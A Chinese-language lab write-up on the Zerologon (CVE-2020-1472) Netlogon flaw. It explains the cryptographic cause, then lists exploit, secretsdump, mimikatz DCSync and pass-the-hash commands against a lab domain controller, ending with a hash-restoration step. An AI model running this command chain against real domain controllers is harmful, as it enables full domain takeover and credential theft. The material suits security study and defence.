NetLogon 权限提升漏洞
参考文章:CVE-2020-1472NetLogon权限提升漏洞_cve-2020-1472复现 谢公子-CSDN博客
-
域控机器账户:WIN-0V0GAORDC17
-
域控 ip:192.168.72.163
-
域内攻击者机器 ip:192.168.72.158,host:WIN10-01
-
攻击者 kali 机器 ip:192.168.72.162
NetLogon服务
Netlogon 是一个 Windows Server 进程,用于对域内的用户和其他服务进行身份验证。由于它是一项服务而不是应用程序,因此 Netlogon 会在后台持续运行,除非手动或因运行时错误而停止。可以从命令行终端停止或重新启动 Netlogon。最常见的是让用户使用 NTLM 协议登录服务器。默认情况下,Netlogon 服务在域内所有机器后台运行着,该服务的可执行文件路径为 C:\Windows\system32\lsass.exe。
NetLogon认证流程
-
客户端调用 NetrServerReqChallenge 函数给服务端发送随机8字节 Client Challenge 值。
-
服务端调用 NetrServerReqChallenge 函数给客户端发送随机8字节 Server Challenge 值。
-
双方同时生成 Session Key=KDF(secret,(Client Challenge+Server Challenge)) ,此secret是客户端机器账号的哈希值。
-
客户端使用 Session Key 作为密钥对 Client Challenge 加密运算为 Client Credential 并发给服务器,服务端进行相同步骤的运算并将结果与 Client Credential进行对比,相同则表示客户端有正确的凭据。
-
服务端使用 Session Key 作为密钥对 Server Challenge 值加密运算为 Server Credential 并发给客户端,客户端进行相同步骤的运算并将结果与 Server Credential 进行对比,相同则表示服务端拥有相同Session Key。
-
使用 Session Key 加密流量通信。
Session Key的生成
Session Key=KDF(secret,(Client Challenge+Server Challenge)),三种加密算法可选:AES、Strong-key 、DES。但是现代的 Windows server 通常拒绝 Strong-key 和 DES,所以都用 AES 加密。
-
md4 加密算法运算 SharedSecret 得到 M4SS,此 SharedSecret 是客户端机器账号的哈希值。
-
M4SS 作为密钥使用 HMAC-SHA256 算法对 Client Challenge 和 Server Challenge 进行一系列运算得到的结果取低 16 字节作为 Session Key。
ComputeSessionKey(SharedSecret, ClientChallenge, ServerChallenge) M4SS := MD4(UNICODE(SharedSecret)) CALL SHA256Reset(HashContext, M4SS, sizeof(M4SS)); CALL SHA256Input(HashContext, ClientChallenge, sizeof(ClientChallenge)); CALL SHA256FinalBits (HashContext, ServerChallenge, sizeof(ServerChallenge)); CALL SHA256Result(HashContext, SessionKey); SET SessionKey to lower 16 bytes of the SessionKey;
Credential 的生成
由于现代的 windows server 都拒绝 Strong-key 和 DES,所以都用 AES 加密
-
初始化 16 字节 IV(上图黄色部分),对 IV 使用 Session Key 作为密钥,AES 算法加密后获取密文第一个字节。
-
将此字节与 Challenge(上图蓝色部分)得第一个字节进行异或运算,将运算后的结果(上图的e3)放在IV末尾,同时覆盖了Challenge的第一个字节。
-
抛弃原 IV 的第一个字节,从第二个字节开始一直到之前运算的字节(上图的e3)作为新的IV,也就是IV整体后移了一位。
-
取完这个 IV 后重放上述操作。
微软使用 ComputeNetlogonCredential 来生成 Credential,传入一个 SessionKey,局部变量初始化一个 IV,AES加密后得到 Credential。
ComputeNetlogonCredential(Input, Sk, Output) SET IV = 0 CALL AesEncrypt(Input, Sk, IV, Output)
漏洞原理
135 端口的 netlogon 协议加密模块存在缺陷,导致攻击者使用管理员权限访问 135 端口调用远程 RPC 服务重置域控制器机器账号 hash。
在上述的 NetLogon 身份验证过程中,客户端是在第4步向服务端发送Client Credential进行的身份验证,但是客户端发送的Client Credential有1/256的概率全为0,这是因为微软在ComputeNetlogonCredential函数中生成Credential时,IV被初始化为全0,如下图所示:
-
IV(上图黄色部分)全为0,Client Challenge(上图蓝色部分)因为我们可控全为0
-
只要 AES 加密算法对全 0 位的 16 字节进行运算的到的结果的第一个字节为 00,那么最终结果Credential就为全0位
-
此时加密密钥为Session Key,而此Session Key=KDF(secret,(Client Challenge+Server Challenge)),也就是随机生成的,而随机生成的Session Key对全0位的16字节进行AES运算后,得到的结果第一个字节为00的概率是1/256
-
服务端是通过Client Credential来验证客户端身份信息,如果步骤4生成的Credential为全0位,则其同样是合法的,我们能在步骤4时无限发送全0位的Client Credential来以1/256的概率爆破出合法的会话
-
注:上文的NetLogon认证流程中,第6步,也就是会话建立时,是有Session Key加密通信的,但是就算这个漏洞利用成功,我们也只能通过第4步骤的身份验证,并不能构造出合法的Session Key加密通信,所以在Net Logon身份认证时,需要设置标志位来取消加密会话,下面的攻击脚本就设置了flag标志位为0x212fffff,此标志位包含了取消加密会话的标志选项
漏洞实验
脚本zerologon_tester.py 和 cve-2020-1472-exploit.py
zerologon_tester.py
# 检测是否存在漏洞 python zerologon_tester.py WIN-0V0GAORDC17 192.168.72.163
CVE-2020-1472.py
# 攻击,使域控的机器账号哈希置为空 python cve-2020-1472-exploit.py WIN-0V0GAORDC17 WIN-0V0GAORDC17$ 192.168.72.163
远程连接域控
# 使用 WIN-0V0GAORDC17$机器账号,哈希为空连接,导出 administrator 用户的哈希 python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163 -no-pass -just-dc-user "administrator" # 导出所有用户哈希 python secretsdump.py HACKER.com/WIN-0V0GAORDC17$@192.168.72.163 -no-pass
mimikatz漏洞实验
检测是否存在漏洞
# 使用 mimikatz 执行如下命令检测目标域控是否存在 Netlogon 权限提升漏洞。 mimikatz.exe "privilege::debug" "lsadump::zerologon /target:192.168.72.163 /account:WIN-0V0GAORDC17$" "exit"
重置域控hash(攻击机在域中)
mimikatz.exe "lsadump::zerologon /target:WIN-0V0GAORDC17.HACKER.com /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
重置域控hash(攻击机在域外)
mimikatz.exe "lsadump::zerologon /target:192.168.72.163 /ntlm /null /account:WIN-0V0GAORDC17$ /exploit" "exit"
远程连接域控
#导出指定 administrator 用户哈希 mimikatz.exe "lsadump::dcsync /csv /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:\"\" /authntlm" "exit" lsadump::dcsync /domain:HACKER.com /dc:WIN-0V0GAORDC17.HACKER.com /user:administrator /authuser:WIN-0V0GAORDC17$ /authpassword:""/authntlm #然后用 administrator 用户的哈希进行 pth 攻击连接域控,这一步需要 privilege::debug 提权 mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:192.168.72.163 /rc4:33e17aa21ccc6ab0e6ff30eecb918dfb" "exit"
恢复御用机器账户hash
获得域控机器账号的原始哈希
# 使用 mimikatz 的 sekurlsa::logonpassword 模块执行如下命令从 lsass.exe进程里面抓取域控机器账号 WIN-0V0GAORDC17$ 的原始哈希 mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
# 恢复域控哈希 python reinstall_original_pw.py WIN-0V0GAORDC17 192.168.72.163 eace846f4b183390a111a1888b96beff